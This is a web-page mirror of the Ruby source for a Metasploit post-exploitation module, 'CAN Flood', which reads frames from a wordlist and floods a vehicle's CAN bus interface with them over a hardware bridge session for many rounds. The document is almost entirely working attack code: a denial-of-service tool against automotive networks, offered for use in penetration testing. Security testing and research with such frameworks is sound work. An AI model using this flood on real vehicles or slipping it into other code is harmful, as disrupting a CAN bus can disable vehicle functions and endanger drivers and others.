CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/hardware/automotive/can_flood.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
8
DEFAULT_FRAMELIST = File.join(Msf::Config.data_directory, 'wordlists', 'can_flood_frames.txt')
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'CAN Flood',
15
'Description' => 'This module floods a CAN interface with supplied frames.',
16
'Author' => 'Pietro Biondi',
17
'License' => MSF_LICENSE,
18
'Platform' => 'hardware',
19
'SessionTypes' => ['hwbridge']
20
)
21
)
22
23
register_options([
24
OptString.new('CANBUS', [true, 'CAN interface']),
25
OptString.new('FRAMELIST', [true, 'Path to frame list file', DEFAULT_FRAMELIST]),
26
OptInt.new('ROUNDS', [true, 'Number of executed rounds', 200])
27
])
28
end
29
30
def run
31
unless File.exist?(datastore['FRAMELIST'])
32
print_error("Frame list file '#{datastore['FRAMELIST']}' does not exist")
33
return
34
end
35
36
vprint_status("Reading frame list file: #{datastore['FRAMELIST']}")
37
frames = File.readlines(datastore['FRAMELIST']).map { |line| line.strip.split('+') }
38
39
print_status(' -- FLOODING -- ')
40
datastore['ROUNDS'].times do
41
frames.each { |frame| client.automotive.cansend(datastore['CANBUS'], frame[0], frame[1]) }
42
end
43
end
44
45
end
46
47